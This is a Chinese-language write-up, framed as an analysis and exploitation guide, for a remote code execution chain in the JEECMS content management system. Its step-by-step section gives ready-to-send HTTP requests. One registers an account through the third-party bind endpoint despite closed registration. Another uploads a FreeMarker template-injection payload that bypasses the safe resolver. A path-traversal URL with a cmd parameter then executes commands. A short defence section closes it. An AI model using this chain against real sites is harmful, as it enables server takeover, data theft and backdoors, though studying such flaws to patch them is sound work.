某内容管理系统RCE漏洞分析
字数 1628 2025-08-09 23:12:43
JEECMS远程代码执行(RCE)漏洞分析与利用指南
0x01 漏洞概述
JEECMS内容管理系统存在一个严重的远程代码执行漏洞组合,该漏洞由以下两个安全问题组成:
- 任意用户注册漏洞:通过第三方登录接口可绕过注册限制
- 文件上传+模板注入漏洞:结合任意文件上传和FreeMarker模板注入实现RCE
攻击者可以利用这两个漏洞的组合,最终在目标服务器上执行任意系统命令,完全控制服务器。
0x02 漏洞利用前提
- 目标系统使用JEECMS内容管理系统
- 系统未修复相关漏洞
- 攻击者能够访问目标系统前端
0x03 漏洞详细利用步骤
1. 任意用户注册
即使目标站点关闭了普通用户注册功能,攻击者仍可通过第三方登录接口实现注册并获取有效会话凭证。
利用方法:
发送以下POST请求到/thirdParty/bind接口:
POST /thirdParty/bind HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
Content-Length: 80
{"username":"attacker","loginWay": 1, "loginType": "QQ", "thirdId": "random123"}
参数说明:
username:任意用户名loginWay:固定为1loginType:第三方登录类型,可任意填写thirdId:任意第三方ID
成功响应:
- 返回有效的会话凭证(JSESSIONID或JEECMS-Auth-Token)
2. 任意文件上传
利用获取的凭证,通过/member/upload/o_upload接口上传恶意模板文件。
上传请求示例:
POST /member/upload/o_upload HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
JEECMS-Auth-Token: [获取的token]
Content-Type: multipart/form-data; boundary=---------------------------boundary
Content-Length: [长度]
-----------------------------boundary
Content-Disposition: form-data; name="uploadFile"; filename="exploit.html"
Content-Type: text/html
${site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.ObjectWrapper").getField("DEFAULT_WRAPPER").get(null).newInstance(site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.utility.Execute"), null)(cmd)}
-----------------------------boundary
Content-Disposition: form-data; name="typeStr"
File
-----------------------------boundary--
上传成功响应:
- 返回上传文件的存储路径,格式为
/u/cms/www/<日期>/<随机文件名>
3. 模板注入利用
通过构造特殊的URL路径访问上传的模板文件,触发命令执行。
路径构造原理:
- 系统将URL中的
-替换为/ - 添加模板前缀
/WEB-INF/t/cms/www/default和后缀.html
示例利用:
假设文件上传到/u/cms/www/202108/12345678.html,则访问:
/..-..-..-..-..-u-cms-www-202108-12345678.htm?cmd=whoami
命令执行结果:
- 服务器将执行
whoami命令并返回结果
0x04 技术原理分析
1. 文件上传漏洞
- 上传接口
UploadService.doUpload()未严格校验文件后缀 - 上传路径固定为
/u/cms/www/<date>/,文件名随机但后缀可控 - 虽然不能直接上传可执行的JSP文件,但可通过模板注入绕过
2. FreeMarker模板注入
系统使用了FreeMarker模板引擎,并配置了SAFER_RESOLVER解析器,限制了以下常见利用方式:
-
new内建函数限制:- 禁止实例化
ObjectConstructor、Execute和JythonRuntime等危险类
- 禁止实例化
-
api内建函数限制:api_builtin_enabled默认为false,无法使用
绕过方法:
利用数据模型中暴露的CmsSite对象,通过以下链式调用实现代码执行:
${site.getClass().getProtectionDomain().getClassLoader()
.loadClass("freemarker.template.ObjectWrapper")
.getField("DEFAULT_WRAPPER").get(null)
.newInstance(
site.getClass().getProtectionDomain().getClassLoader()
.loadClass("freemarker.template.utility.Execute"),
null
)(cmd)}
关键点:
- 通过
ProtectionDomain.getClassLoader()绕过Class.getClassLoader()限制 - 利用
ObjectWrapper.DEFAULT_WRAPPER静态实例绕过构造方法限制 - 通过
ObjectWrapper.newInstance()实例化被禁用的Execute类
0x05 防御建议
-
修复任意注册漏洞:
- 严格校验第三方登录接口
- 当关闭注册功能时,应完全禁用相关接口
-
修复文件上传漏洞:
- 严格限制上传文件类型
- 对上传文件内容进行检查
- 将上传文件存储在非web可访问目录
-
修复模板注入漏洞:
- 升级FreeMarker到最新版本
- 配置
ALLOWS_NOTHING_RESOLVER解析器 - 限制模板中可访问的对象和方法
-
其他防护措施:
- 实施WAF防护
- 定期安全审计
- 最小权限原则运行服务
0x06 漏洞影响
该漏洞组合影响严重,攻击者可利用它:
- 完全控制服务器
- 窃取敏感数据
- 植入后门
- 作为内网渗透跳板
建议所有使用JEECMS的用户立即检查并修复此漏洞。